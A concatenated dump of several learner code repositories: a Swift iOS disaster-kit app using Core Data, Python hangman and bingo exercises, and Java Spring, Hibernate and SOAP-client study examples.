func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat {
return 60
}
}
<file_sep>/NaturalDisaster/NaturalDisaster/AddFoodViewController.swift
//
// AddFoodViewController.swift
// NaturalDisaster
//
// Created by <NAME> on 10/14/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import Foundation
import UIKit
import UserNotifications
class AddFoodViewController: UIViewController {
@IBOutlet weak var nameTextField: UITextField!
@IBOutlet weak var datePicker: UIDatePicker!
@IBOutlet weak var selector: UISegmentedControl!
override func prepare(for segue: UIStoryboardSegue, sender: Any?) {
if segue.identifier == "save" {
let items = CoreDataHelper.retrieveFood()
var listOfFood = [String]()
for item in items {
listOfFood.append(item.name!)
}
if (nameTextField.text?.isEmpty)! {
let alert = UIAlertController(title: "", message: "You forgot to add a name!" , preferredStyle: .alert)
alert.addAction(UIAlertAction(title: "Add a name", style: UIAlertActionStyle.default, handler: {(action) in alert.dismiss(animated: true, completion: nil) } ) )
self.present(alert, animated: true, completion: nil)
// } else
// if isEdit == false {
// if listOfFood.contains(nameTextField.text!) {
// let alert = UIAlertController(title: "", message: "You already have an item called \(String(describing: nameTextField.text!))." , preferredStyle: UIAlertControllerStyle.alert)
// alert.addAction(UIAlertAction(title: "Rename", style: UIAlertActionStyle.default, handler: {(action) in alert.dismiss(animated: true, completion: nil) } ) )
// self.present(alert, animated: true, completion: nil)
// } else {
//
// let item = self.name ?? CoreDataHelper.newItem()
// if item.name != nil {
// UNUserNotificationCenter.current().removePendingNotificationRequests(withIdentifiers: [habit.habit!])
// }
// item.name = nameTextField.text ?? ""
// item.expDate = datePicker ?? ""
// CoreDataHelper.saveFood()
// }
} else {
let item = CoreDataHelper.newFood()
if item.name != nil {
UNUserNotificationCenter.current().removePendingNotificationRequests(withIdentifiers: [item.name!])
}
item.name = nameTextField.text ?? ""
let date = datePicker.date
let components = Calendar.current.dateComponents([.month, .day, .year], from: date)
let month = components.month!
let day = components.day!
let year = components.year!
item.expDate = "\(month)/\(day)/\(year)" ?? ""
switch selector.selectedSegmentIndex {
case 0:
item.have = true
case 1:
item.have = false
default:
break
}
CoreDataHelper.saveFood()
}
}
}
}
<file_sep>/NaturalDisaster/NaturalDisaster/CoreDataHelper.swift
//
// CoreDataHelper.swift
// NaturalDisaster
//
// Created by <NAME> on 10/14/17.
// Copyright © 2017 <NAME>. All rights reserved.
//
import Foundation
import CoreData
import UIKit
import UserNotifications
class CoreDataHelper {
static let appDelegate = UIApplication.shared.delegate as! AppDelegate
static let persistentContainer = appDelegate.persistentContainer
static let managedContext = persistentContainer.viewContext
//FOOD
static func newFood() -> Food {
let item = NSEntityDescription.insertNewObject(forEntityName: "Food", into: managedContext) as! Food
return item
}
static func saveFood() {
do {
try managedContext.save()
} catch let error as NSError {
}
}
static func delete(item: Food) {
managedContext.delete(item)
UNUserNotificationCenter.current().removePendingNotificationRequests(withIdentifiers: [item.name!])
saveFood()
} //idk if need this at all and how to adjust it
static func retrieveFood() -> [Food] {
let fetchRequest = NSFetchRequest<Food>(entityName: "Food")
do {
let results = try managedContext.fetch(fetchRequest)
return results
} catch let error as NSError {
}
return []
}
//FIRST AID
static func newFirstAid() -> FirstAid {
let item = NSEntityDescription.insertNewObject(forEntityName: "FirstAid", into: managedContext) as! FirstAid
return item
}
static func saveFirstAid() {
do {
try managedContext.save()
} catch let error as NSError {
}
}
static func delete(item: FirstAid) {
managedContext.delete(item)
UNUserNotificationCenter.current().removePendingNotificationRequests(withIdentifiers: [item.name!])
saveFirstAid()
} //idk if need this at all and how to adjust it
static func retrieveFirstAid() -> [FirstAid] {
let fetchRequest = NSFetchRequest<FirstAid>(entityName: "FirstAid")
do {
let results = try managedContext.fetch(fetchRequest)
return results
} catch let error as NSError {
}
return []
}
//PAPERS
static func newPapers() -> Papers {
let item = NSEntityDescription.insertNewObject(forEntityName: "Papers", into: managedContext) as! Papers
return item
}
static func savePapers() {
do {
try managedContext.save()
} catch let error as NSError {
}
}
static func delete(item: Papers) {
managedContext.delete(item)
UNUserNotificationCenter.current().removePendingNotificationRequests(withIdentifiers: [item.name!])
savePapers()
} //idk if need this at all and how to adjust it
static func retrievePapers() -> [Papers] {
let fetchRequest = NSFetchRequest<Papers>(entityName: "Papers")
do {
let results = try managedContext.fetch(fetchRequest)
return results
} catch let error as NSError {
}
return []
}
//UTILITIES
static func newUtilities() -> Utilities {
let item = NSEntityDescription.insertNewObject(forEntityName: "Utilities", into: managedContext) as! Utilities
return item
}
static func saveUtilities() {
do {
try managedContext.save()
} catch let error as NSError {
}
}
static func delete(item: Utilities) {
managedContext.delete(item)
UNUserNotificationCenter.current().removePendingNotificationRequests(withIdentifiers: [item.name!])
saveUtilities()
} //idk if need this at all and how to adjust it
static func retrieveUtilities() -> [Utilities] {
let fetchRequest = NSFetchRequest<Utilities>(entityName: "Utilities")
do {
let results = try managedContext.fetch(fetchRequest)
return results
} catch let error as NSError {
}
return []
}
//CLOTHES
static func newClothes() -> Clothes {
let item = NSEntityDescription.insertNewObject(forEntityName: "Clothes", into: managedContext) as! Clothes
return item
}
static func saveClothes() {
do {
try managedContext.save()
} catch let error as NSError {
}
}
static func delete(item: Clothes) {
managedContext.delete(item)
UNUserNotificationCenter.current().removePendingNotificationRequests(withIdentifiers: [item.name!])
saveClothes()
} //idk if need this at all and how to adjust it
static func retrieveClothes() -> [Clothes] {
let fetchRequest = NSFetchRequest<Clothes>(entityName: "Clothes")
do {
let results = try managedContext.fetch(fetchRequest)
return results
} catch let error as NSError {
}
return []
}
//OTHERS
static func newOthers() -> Others {
let item = NSEntityDescription.insertNewObject(forEntityName: "Others", into: managedContext) as! Others
return item
}
static func saveOthers() {
do {
try managedContext.save()
} catch let error as NSError {
}
}
static func delete(item: Others) {
managedContext.delete(item)
UNUserNotificationCenter.current().removePendingNotificationRequests(withIdentifiers: [item.name!])
saveOthers()
} //idk if need this at all and how to adjust it
static func retrieveOthers() -> [Others] {
let fetchRequest = NSFetchRequest<Others>(entityName: "Others")
do {
let results = try managedContext.fetch(fetchRequest)
return results
} catch let error as NSError {
}
return []
}
}
| 4789fcd815f42ba7dde2a24758fb565d5c00b8de | [
"Swift"
] | 9 | Swift | emilychin1130/NaturalDisaster | da4c387e695846472bcbd91daf8ccfac15adf00f | a97c80a8e67a12c8f52ebe62e4b81e3b758f014f |
refs/heads/master | <repo_name>pydemia/pythonstudy<file_sep>/weekly/01/0125 python study.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
ggg="""
Created on Wed Jan 25 19:49:47 2017
@author: dawkins
"""
word = "starbucks"
print(word)
len(word)
word[0]
y=[1.,.2,3.5,4]
y
c=(1,2,3,4)
c
y[0]=2
y.append(5)
y.pop(3)
y
a=list(word)
a
word
youngju = "_"*len(word)
wordlist = list(word)
wordlist
hiddenlist = list(hidden)
hiddenlist
#%%
list(range(len(wordlist)))
wordlist[3]
#%%
def guess(cht):
if isinstance(cht, str):
global count
count -= 1
for i in range(len(wordlist)):
if wordlist[i] == cht:
hiddenlist[i] = wordlist[i]
print("conglatulation!")
else:
print("What the hell")
else:
print("Fool!")
#%%
count = 3
def guess(cht):
try:
assert isinstance(cht, str)
cht = cht.lower()
global count
count -= 1
for i in range(len(wordlist)):
if wordlist[i] == cht:
hiddenlist[i] = wordlist[i]
print("conglatulation!")
else:
print("What the hell")
except AssertionError:
print("Fool!")
hiddenlist
import numpy as np
aaa = np.empty((2,3))
np.mean(aaa)
aaa.mean()
#%%
def guess(cht):
try:
assert isinstance(cht, str)
cht = cht.lower()
global count
count -= 1
for i in range(len(wordlist)):
if wordlist[i] == cht:
hiddenlist[i] = wordlist[i]
print("conglatulation!")
else:
print("What the hell")
except AssertionError:
print("Fool!")
#%%
guess()
guess(7)
count
guess("t")
count
aaa.unique()
#%%
a = 'H'
a = a.lower()
a
<file_sep>/weekly/01/hangman.py
class Hangman:
def __init__(self, word, chance=5):
assert isinstance(word, str)
assert isinstance(chance, int)
self.answer = word.lower()
self.remains = chance
self.history = []
self._marker = ['_ '] * len(self.answer)
self._mrkstr = ''.join(self._marker)
self.messege = self._mrkstr + '(Chance: {})'.format(self.remains)
print(self.messege)
def guess(self, character):
assert isinstance(character, str)
assert len(character) == 1
character = character.lower()
if character in self.history:
print('Already spoken!')
else:
self.remains -= 1
self.history.append(character)
if character in self.answer:
print('Correct!')
idx = [i for i, x in enumerate(self.answer) if x == character]
for i in idx:
self._marker[i] = self.answer[i] + ' '
self._mrkstr = ''.join(self._marker)
self.messege = (self._mrkstr +
'(Chance: {})'.format(self.remains))
print(self.messege)
else:
print('Wrong!')
self.messege = (self._mrkstr +
'(Chance: {})'.format(self.remains))
print(self.messege)
if '_ ' not in list(self._marker):
print('\nYou win!')
print('Answer: ' + self.answer)
elif self.remains == 0:
print('\nYou lose!')
print('Answer: ' + self.answer)
quiz1 = Hangman('abstract', chance=7)
quiz1
quiz1.guess('a')
quiz1._marker
quiz1.guess('x')
quiz1.guess('c')
quiz1.guess('s')
quiz1.guess('r')
quiz1.guess('q')
quiz1.guess('w')
quiz1.guess('p')
quiz1.guess('t')
quiz1.guess('b')
quiz1.history
quiz1.answer
quiz1 = Hangman('Hello')
quiz1.guess('t')
quiz1.guess('H')
quiz1.guess('e')
quiz1.guess('l')
quiz1.guess('o')
<file_sep>/weekly/02/bingo.py
from unipy.tools.misc import splitor
import random
import numpy as np
import pandas as pd
numGen = random.sample(range(1, 26), 25)
numGen
aa = splitor(numGen, 5)
aaa = list(aa)
data = pd.DataFrame(np.array(aaa))
#%%
class Bingo:
def __init__(self, startNum, endNum, size=(5, 5)):
numGen = np.random.randint(startNum, high=endNum,
size=size, dtype='int')
self.bingoTbl = pd.DataFrame(numGen)
self.printTbl = pd.DataFrame(np.full(size, np.nan)).fillna('-')
self.history = []
def guess(self, number):
if number in self.history:
print('Already spoken!')
else:
self.history.append(number)
x, y = np.where(self.bingoTbl == number)
if len(x) == 0:
print('{num} doesn\'t exist'.format(num=number))
else:
print('{num} was Found!'.format(num=number))
self.printTbl.iloc[x, y] = '#'
bingoRow = sum([all(self.printTbl.iloc[:, i].unique() == '#')
for i in self.printTbl.index])
bingoCol = sum([all(self.printTbl.iloc[j, :].unique() == '#')
for j in self.printTbl.columns])
bingoDia = all(np.diagonal(np.fliplr(self.printTbl)) == '#')
bingoRdi = all(np.diagonal(self.printTbl) == '#')
if sum([bingoRow, bingoCol, bingoDia, bingoRdi]) == 5:
print('\nBingo!')
#%%
tmp = Bingo(1, 50, (5, 5))
tmp.guess(1)
tmp.guess(2)
tmp.guess(3)
tmp.guess(4)
tmp.guess(5)
tmp.guess(6)
tmp.guess(7)
tmp.guess(8)
tmp.guess(9)
tmp.guess(25)
tmp.guess(20)
tmp.guess(14)
tmp.guess(29)
tmp.guess(28)
tmp.guess(31)
tmp.guess(15)
tmp.guess(10)
tmp.guess(17)
tmp.guess(18)
tmp.guess(42)
tmp.bingoTbl
tmp.printTbl
#%% Modify it: Generate another bingo table and for competition.
# 1. create another table for competition; with the same condition & size, containing the different numbers.
# 2. Count 'bingo' lines in both of tables, at the end of the 'guess' method.(print it)
# 3. make 'Bingo' competitive.
# 4. make a 'input checker step' in 'guess' method; only 'integer' can be used for the 'guess' method.
# 5. Change the 'bingo' number; from a constant to the relative to its size.
class Bingo2:
pass
| 3529853dcd416bac68bdfd5cf8fae6f8b177a88b | [
"Python"
] | 3 | Python | pydemia/pythonstudy | d652ba5a6ce4317b157e882337b46e96b107ae28 | a5b46b5d77cb343f2eefbb85e787cc4c5e279b88 |
refs/heads/master | <file_sep>package org.spring.interfaces;
public class DrawerImpl implements Drawer {
private String picture;
public void draw() {
System.out.println("Drawing a picture: " + picture);
}
public String getPicture() {
return picture;
}
public void setPicture(String picture) {
this.picture = picture;
}
}
<file_sep>package org.hibernate.dto;
import java.util.ArrayList;
import java.util.Collection;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.JoinColumn;
import javax.persistence.ManyToMany;
@Entity
public class Job {
@Id
@GeneratedValue
@Column(name="job_id")
private int jobId;
private String jobName;
@ManyToMany(mappedBy="job")
private Collection<UserDetails> userList = new ArrayList<UserDetails>();
public int getJobId() {
return jobId;
}
public void setJobId(int jobId) {
this.jobId = jobId;
}
public String getJobName() {
return jobName;
}
public void setJobName(String jobName) {
this.jobName = jobName;
}
public Collection<UserDetails> getUserList() {
return userList;
}
public void setUserList(Collection<UserDetails> userList) {
this.userList = userList;
}
}
<file_sep>import java.util.*;
public class NameCompare implements Comparator<Object>{
public int compare(Object o1, Object o2) {
return ((Student)o1).firstName.compareTo(((Student)o2).firstName);
}
}
<file_sep>
public class TestArrays {
public static void main(String[] args) {
int[] array1={
2, 3, 5, 7, 11, 13, 17, 19
};
int[] array2;
printArray(array1);
// array2 and array1 now reference array1
array2=array1;
// Update the even elements of array2 to the indexed value
for(int i=0; i<array2.length; i++) {
if(i%2==0 || i==0) {
array2[i]=i;
}
}
printArray(array1);
}
public static void printArray(int[] inputArray) {
String outputString="<";
for(int i=0; i<inputArray.length; i++) {
outputString+=inputArray[i];
if(i==inputArray.length-1)
outputString+=">";
else
outputString+=",";
}
System.out.println(outputString);
}
}
<file_sep>
public class MapTest{
public static void main(String[] args){
MapPlayerRepository dreamteam = new MapPlayerRepository();
dreamteam.put("forward", "henry");
dreamteam.put("rightwing", "ronaldo");
dreamteam.put("goalkeeper", "cech");
System.out.println("Forward is " + dreamteam.get("forward"));
System.out.println("Right wing is " + dreamteam.get("rightwing"));
System.out.println("Goalkeeper is " + dreamteam.get("goalkeeper"));
}
}<file_sep>package org.spring.javabeans;
import java.util.List;
public class TrianglePtList {
private List <Point> points;
public List<Point> getPoints() {
return points;
}
public void setPoints(List<Point> points) {
this.points = points;
}
public void draw() {
System.out.println("Draw Triangle with Points: ");
// For each point in the points collection...
for(Point point : points) {
System.out.println("(" + point.getX() + ", " + point.getY() + ")");
}
}
}
<file_sep>package org.spring.interfaces;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class TestInterface {
private Drawer drawer;
public static void main(String[] args) {
@SuppressWarnings("resource")
ApplicationContext context = new ClassPathXmlApplicationContext("springInterfaces.xml");
context.getBean(TestInterface.class).workflow();
}
public void workflow() {
drawer.draw();
}
public Drawer getDrawer() {
return drawer;
}
public void setDrawer(Drawer drawer) {
this.drawer = drawer;
}
}
<file_sep>package org.hibernate.dto;
import javax.persistence.DiscriminatorValue;
import javax.persistence.Entity;
@Entity
@DiscriminatorValue("Two-Wheeler-Type") // Changes the dtype value to be used in the dtype column
public class TwoWheeler extends Vehicle{
private String handlebar;
public String getHandlebar() {
return handlebar;
}
public void setHandlebar(String handlebar) {
this.handlebar = handlebar;
}
}
<file_sep>package org.hibernate.test;
import java.util.ArrayList;
import java.util.Date;
import java.util.Iterator;
import java.util.List;
import javax.persistence.TypedQuery;
import javax.persistence.criteria.CriteriaBuilder;
import javax.persistence.criteria.CriteriaQuery;
import javax.persistence.criteria.Root;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.cfg.Configuration;
import org.hibernate.query.Query;
import org.hibernate.dto.Address;
import org.hibernate.dto.Cat;
import org.hibernate.dto.Child;
import org.hibernate.dto.Dog;
import org.hibernate.dto.FourWheeler;
import org.hibernate.dto.Job;
import org.hibernate.dto.Pet;
import org.hibernate.dto.TwoWheeler;
import org.hibernate.dto.UserDetails;
import org.hibernate.dto.Vehicle;
public class HibernateTest {
public static void main(String[] args) {
UserDetails user = new UserDetails();
user.setUserName("<NAME>");
user.setJoinedDate(new Date());
user.setDescription("Description of Trevor");
UserDetails user2 = new UserDetails();
user2.setUserName("<NAME>");
user2.setJoinedDate(new Date());
user2.setDescription("Description of Barbara");
UserDetails user3 = new UserDetails();
user3.setUserName("<NAME>");
user3.setJoinedDate(new Date());
user3.setDescription("Description of Isaac");
Vehicle vehicle = new Vehicle();
vehicle.setVehicleName("Car");
TwoWheeler twoWheeler = new TwoWheeler();
twoWheeler.setVehicleName("Bike");
twoWheeler.setHandlebar("Bike Steering");
FourWheeler fourWheeler = new FourWheeler();
fourWheeler.setVehicleName("Car");
fourWheeler.setSteeringWheel("Car Steering Wheel");
user.setVehicle(vehicle);
user2.setVehicle(twoWheeler);
user3.setVehicle(fourWheeler);
Pet pet = new Pet();
pet.setPetName("Polly");
Cat cat = new Cat();
cat.setPetName("Aspen");
cat.setCatFood("Meow");
Dog dog = new Dog();
dog.setPetName("Jazz");
dog.setDogFood("Purina");
user.setPet(pet);
user2.setPet(dog);
user3.setPet(cat);
Job job1 = new Job();
Job job2 = new Job();
Job job3 = new Job();
Job job4 = new Job();
job1.setJobName("Job1");
job2.setJobName("Job2");
job3.setJobName("Job3");
job4.setJobName("Job4");
user.getJob().add(job1);
user.getJob().add(job2);
user2.getJob().add(job3);
user3.getJob().add(job4);
job1.getUserList().add(user);
job2.getUserList().add(user);
job3.getUserList().add(user2);
job4.getUserList().add(user3);
Child child1 = new Child();
Child child2 = new Child();
Child child3 = new Child();
Child child4 = new Child();
child1.setChildName("Sam");
child2.setChildName("Eric");
child3.setChildName("Sue");
child4.setChildName("Jeff");
user.getChild().add(child1);
user.getChild().add(child2);
user2.getChild().add(child3);
user3.getChild().add(child4);
child1.setUser(user);
child2.setUser(user);
child3.setUser(user2);
child4.setUser(user3);
Address addr = new Address();
addr.setStreet("185 Gladesville Rd");
addr.setCity("2 Morgantown");
addr.setState("2 WV");
addr.setZip(26509);
Address addr2 = new Address();
addr2.setStreet("200 Gladesville Rd");
addr2.setCity("Morgantown");
addr2.setState("WV");
addr2.setZip(26508);
user.getListOfAddresses().add(addr);
user.getListOfAddresses().add(addr2);
user2.getListOfAddresses().add(addr);
user3.getListOfAddresses().add(addr2);
// Create session factory object from the hibernate.cfg.xml config file
SessionFactory sessionFactory = new Configuration().configure().buildSessionFactory();
// Create a new DB session
Session session = sessionFactory.openSession();
session.beginTransaction();
session.persist(user);
session.persist(user2);
session.persist(user3);
session.save(vehicle);
session.save(twoWheeler);
session.save(fourWheeler);
session.save(pet);
session.save(cat);
session.save(dog);
session.save(job1);
session.save(job2);
session.save(job3);
session.save(job4);
session.getTransaction().commit();
session.close();
// Fetch the user we just inserted
user=null;
session = sessionFactory.openSession();
session.beginTransaction();
// Get the UserDails record with the primary key=1
user = (UserDetails) session.get(UserDetails.class, 1);
System.out.println("User Name retrieved: " + user.getUserName());
System.out.println("User's Number of Address retrieved: " + user.getListOfAddresses().size());
System.out.println("User's Descripiton retrieved: " + user.getDescription());
user.setUserName("Updated UserName");
session.update(user);
int userIdValue = 5;
// Get records using a HQL Query
@SuppressWarnings("unchecked")
List<UserDetails> userList = session.createQuery("from UserDetails where userId > :userId and userName like :userName")
.setParameter("userId", userIdValue).setParameter("userName", "%Trevor%")
.setFirstResult(0) // Sets the first query result to 0
.setMaxResults(5) // Only pulls up the first 5 records. Can do record paging with this.
.list(); // Put the result set into a list
// Print out the result set
for(UserDetails u : userList)
System.out.println(u.getUserName());
// Use the CriteriaBuilder API
CriteriaBuilder builder = session.getCriteriaBuilder();
CriteriaQuery<UserDetails> query = builder.createQuery(UserDetails.class);
Root<UserDetails> root = query.from(UserDetails.class);
query.select(root).where(builder.ge(root.get("userId"), 5)); // Get all users with an userId > 5
Query<UserDetails> q=session.createQuery(query);
List<UserDetails> userList2 = q.list();
// Print out the result set
for(UserDetails u : userList2)
System.out.println(u.getUserName());
// Using FROM and JOIN
CriteriaQuery<Object[]> criteriaQuery = builder.createQuery(Object[].class);
Root<UserDetails> userRoot = criteriaQuery.from(UserDetails.class);
Root<Pet> petRoot = criteriaQuery.from(Pet.class);
criteriaQuery.multiselect(userRoot, petRoot);
criteriaQuery.where(builder.equal(userRoot.get("pet"), petRoot.get("petId")));
Query<Object[]> query2=session.createQuery(criteriaQuery);
List<Object[]> list=query2.getResultList();
for (Object[] objects : list) {
UserDetails user4=(UserDetails)objects[0];
Pet pet2=(Pet)objects[1];
System.out.println("USER="+user4.getUserName()+"\t PET NAME="+ pet2.getPetName());
Iterator<Child> it = user4.getChild().iterator();
while(it.hasNext()) {
Child c = it.next();
System.out.println("CHILD=" + c.getChildName());
}
}
session.getTransaction().commit();
session.close();
}
}
<file_sep>import java.util.Scanner;
import net.webservicex.Periodictable;
import net.webservicex.PeriodictableSoap;
public class PeriodicElementLookup {
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
String elementName = input.next();
// use wsimport to create the Service End-point Interface
// -keep keeps the generated java files
// -s src stores the generated java files in the src sub-directory
// copy the generated java files into the net.webservicex package
// wsimport -keep -s src http://www.webservicex.net/geoipservice.asmx?WSDL
// Create the service object
Periodictable periodicTable = new Periodictable();
// Create service port stub that gives us access to the service methods
PeriodictableSoap periodictableSoap = periodicTable.getPeriodictableSoap();
// Get the GeoIP object
System.out.println(periodictableSoap.getAtomicNumber(elementName));
System.out.println(periodictableSoap.getElementSymbol(elementName));
input.close();
}
}
<file_sep>package org.hibernate.dto;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.JoinColumn;
import javax.persistence.ManyToOne;
@Entity
public class Child {
@Id @GeneratedValue
@Column(name="child_id")
private int childId;
@ManyToOne
@JoinColumn(name="user_id")
private UserDetails user;
private String childName;
public int getChildId() {
return childId;
}
public void setChildId(int childId) {
this.childId = childId;
}
public String getChildName() {
return childName;
}
public void setChildName(String childName) {
this.childName = childName;
}
public UserDetails getUser() {
return user;
}
public void setUser(UserDetails user) {
this.user = user;
}
}
<file_sep>public class TestIsSubString {
/*
* Write a isSubString method that searches for a specific string within
* another string; the method must return true if the former exists in the
* latter string. Otherwise, the method return false.
*/
public static void main(String[] args) {
String text = "The cat in the hat.";
System.out.println("isSubString(\"cat\", \"The cat in the hat.\") "
+ isSubString("cat", text));
System.out.println("isSubString(\"bat\", \"The cat in the hat.\") "
+ isSubString("bat", text));
System.out.println("isSubString(\"The\", \"The cat in the hat.\") "
+ isSubString("The", text));
System.out.println("isSubString(\"hat.\", \"The cat in the hat.\") "
+ isSubString("hat.", text));
}
public static boolean isSubString(String subString, String fullString) {
boolean result=false;
// Loop through the full string
for(int i=0; i < fullString.length(); i++) {
if (fullString.charAt(i)==subString.charAt(0)) {
// Loop through the subString
for(int j=0; j < subString.length(); j++) {
if (fullString.charAt(i)==subString.charAt(j)) {
result = true;
}
else {
result = false;
break;
}
i++;
}
}
}
return result;
}
} | 4fbe9b23a3cc97cc09968e890afc2c133498bb39 | [
"Java"
] | 12 | Java | frezinhott/JavaExamples | 3b4149470367e03d7c9d0430b7e2ee0e16251897 | a0eadb35429abee339785be1c067e3fba257bf1c |
refs/heads/main | <file_sep># -*- coding: utf-8 -*-
"""
Word analysis project
Created on Thu Aug 27 13:32:21 2020
@author: <NAME>
"""
import PyPDF2
import re
from pattern.text.en import singularize
from collections import Counter
class WordAnalysis:
# This method should construct all the internal attributes of the class.
def __init__(self, sampleFile):
self.sampleFile = sampleFile
# It prints out all the words in the dictionary.
# It should print out the words and frequency 4 pairs in a row.
def __str__(self):
# Count the frequency of the words, and save them in a dictionary (internal attribute)
def WordCount(fname):
with open(fname) as f:
return Counter(f.read().split())
k = WordCount('sampleStrip.txt')
dictToList = list(k.items()) # convert dictionary to list
writefile=open('outputFile.txt', 'a', encoding='utf-8', errors='replace')
for grp in range(0, len(dictToList), 4):
# For debug:
# print(''.join("{:<20}".format(elm[0]) + "{:<4}".format(elm[1]) for elm in dictToList[grp:grp+4]))
tup = ("{:<20}".format(elm[0]) + "{:<4}".format(elm[1]) for elm in dictToList[grp:grp+4])
line = ''.join(tup)
writefile.write(line + '\n')
return "Done"
def ExtractWords(self, text):
for line in text:
line = re.sub(r'[^a-zA-Z]', ' ', line) + " " # strip off non-ABC symbols
line = re.sub(r'\b\w\b', ' ', line) + " " # strip off single letter words
# Convert the plurals to singular words:
plurals = [line.strip()] # convert string to list
singles = [singularize(plural) for plural in plurals]
line = ' '.join(singles) + " " # convert list to string
line = line.lower() # Convert the capitalized words to lowercase words
writefile.write(line) # print to file
def AddRemovedWords(self, word):
# Count the frequency of the words, and save them in a dictionary (internal attribute)
def WordCount(fname):
with open(fname) as f:
return Counter(f.read().split())
r = WordCount('sampleStrip.txt')
del r[word]
return r
def DelRemovedWords(self, word):
# Count the frequency of the words, and save them in a dictionary (internal attribute)
def WordCount(fname):
with open(fname) as f:
return Counter(f.read().split())
r = WordCount('sampleStrip.txt')
r.update(word)
return r
# --- Show words with frequency ---
def Show(self, freq):
# Count the frequency of the words, and save them in a dictionary (internal attribute)
def WordCount(fname):
with open(fname) as f:
return Counter(f.read().split())
r = WordCount('sampleStrip.txt')
r = {k: v for k, v in r.items() if v >= freq}
writefile=open('outputFile.txt', 'w', encoding='utf-8', errors='replace')
# -- print
for v in r.items():
name, val = v
# For debug:
print("word -- ", "{:^15}".format(name), "-- frequency: ", "{:<3}".format(val))
tup = ("word -- ", "{:^15}".format(name), "-- frequency: ", "{:<3}".format(val))
line = ''.join(tup)
writefile.write(line + '\n')
# For debug
# print("Number of words in the file :", WordCount('sampleStrip.txt'))
WordAnalysis = WordAnalysis('sample.txt')
# pdf reader object
with open('SampleCh7.pdf','rb') as pdf_file, open('sample.txt', 'w', encoding='utf-8', errors=' ') as text_file:
read_pdf = PyPDF2.PdfFileReader(pdf_file)
# analys 4 pages. max pages is pages calculated above
#number_of_pages = read_pdf.getNumPages() # number of pages in pdf (all pages)
number_of_pages = 4
for page_number in range(number_of_pages):
page = read_pdf.getPage(page_number)
page_content = page.extractText()
text_file.write(page_content)
openfile=open('sample.txt','r', encoding='utf-8')
writefile=open('sampleStrip.txt', 'w', encoding='utf-8', errors='replace')
writefile.close()
# extracting the words into database
writefile=open('sampleStrip.txt', 'w', encoding='utf-8', errors='replace')
WordAnalysis.ExtractWords(openfile)
writefile.close()
WordAnalysis.AddRemovedWords("and")
WordAnalysis.AddRemovedWords("a")
WordAnalysis.AddRemovedWords("the")
WordAnalysis.DelRemovedWords("the")
# show words with frequency > 10
WordAnalysis.Show(10)
#print out all the words in the dictionary
print (str(WordAnalysis))
#print("New dict after removed word: ", AddRemovedWords(input("Add removed word: ")))
#print("New dict after removed word from filter: ", DelRemovedWords(input("Delete removed word: ")))
#print(Show(int(input("Enter specified frequency: "))))
# close the files:
writefile.close()
openfile.close()
<file_sep># Python-for-AI
Study projects
Word analysis project
The project will use some modules which have not been covered in the class. Please google and try them out. Here is the requirement:
1). Read the PDF file, SampleCh7.pdf, which is also in the folder, and extract all the text from the pdf file. You will need to use the PyPDF2 module. The PyPDF2 module is not in the Anaconda’s default installation, and you need to use the following command to install the module:
conda install -c conda-forge pypdf2
(execute the command in the Anaconda command window)
Or you can install in the google colab environment:
!pip install PyPDF2
2). Build a WordAnalysis Class to do the analysis work. The class should include the following methods (please define the attribute yourself):
class WordAnalysis:
def __init__(self):
def __str__(self):
def AddRemovedWords(self, word):
def DelRemovedWords(self, word):
def ExtractWords(self, text):
def Show(self, freq):
For ExtractWords(self, text):
It should:
1). Strip off all punctuations, numbers, and symbols, only words are kept, and try to remove non-words as much as you can, for example, single letter words.
2). Convert the plurals to singular words, and convert the capitalized words to lowercase words. You can use the pattern module to convert the plurals to singular words. Again, you need to install the pattern module as follows:
conda install -c conda-forge pattern
pip install Pattern
3). Count the frequency of the words, and save them in a dictionary (internal attribute).
For AddRemovedWords(self, word),
it will add a word to be filtered out, so that the dictionary will not save the frequency of the world, for example, ‘the’.
For DelRemovedWords(self, word):
It can remove a word from the filter list, and add the word back to the dictionary for frequency count.
For Show(self, freq):
It will show the words with frequency higher than specified frequency, freq, and show them in descending order.
in __str__(self):
It prints out all the words in the dictionary. It should print out the words and frequency 4 pairs in a row.
In __init__(self)
It should construct all the internal attributes of the class.
Here are the sample testing code:
# you can find find the pdf file with complete code in below
pdfFileObj = open('Samplech7.pdf', 'rb')
# pdf reader object
pdfReader = PyPDF2.PdfFileReader(pdfFileObj)
# number of pages in pdf
pages=pdfReader.numPages
#remove the words that are not meaningful. You can add back any word. Please test yourself.
wordAnalysis = WordAnalysis()
wordAnalysis.AddRemovedWords("and")
wordAnalysis.AddRemovedWords("a") 'sampleStrip.txt'
wordAnalysis.AddRemovedWords("the")
# analys 4 pages. max pages is pages calculated above
for i in range(4):
pageObj = pdfReader.getPage(i)
# extracting the words from page.into database
wordAnalysis.ExtractWords(pageObj.extractText())
# show words with frequency > 10
wordAnalysis.Show(10)
#print out all the words in the dictionary
print (wordAnalysis)
#close the file.
pdfFileObj.close()
The Output should as follows (the output should align nicely as shown in the output file, project-output.txt, also in the folder):
word -- number -- frequency: 31
word -- is -- frequency: 25
word -- to -- frequency: 24
word -- phone -- frequency: 24
word -- you -- frequency: 22
word -- in -- frequency: 22
word -- regular -- frequency: 19
word -- expression -- frequency: 19
word -- text -- frequency: 19
word -- of -- frequency: 19
word -- for -- frequency: 18
word -- pattern -- frequency: 17
word -- isphonenumber -- frequency: 15
word -- if -- frequency: 14
word -- string -- frequency: 13
word -- that -- frequency: 12
word -- chunk -- frequency: 12
word -- with -- frequency: 11
word -- return -- frequency: 11
pattern 17 matching 3 with 11 regular 19
expression 19 you 22 may 2 be 6
familiar 1 searching 1 for 18 text 19
by 4 pressing 1 ctrl 1 entering 1
word 4 re 4 looking 1 go 2
one 2 step 3 further 1 they 1
| 510016feade6fdcbaa330599b4882f6a8284972d | [
"Markdown",
"Python"
] | 2 | Python | mtavionics/Python-for-AI | 377e8092a645bd960d091ab8691a38c54681336d | 7ef178870fc694864d2f2818887d777068a899d8 |
refs/heads/master | <file_sep>import styled, { css } from 'styled-components';
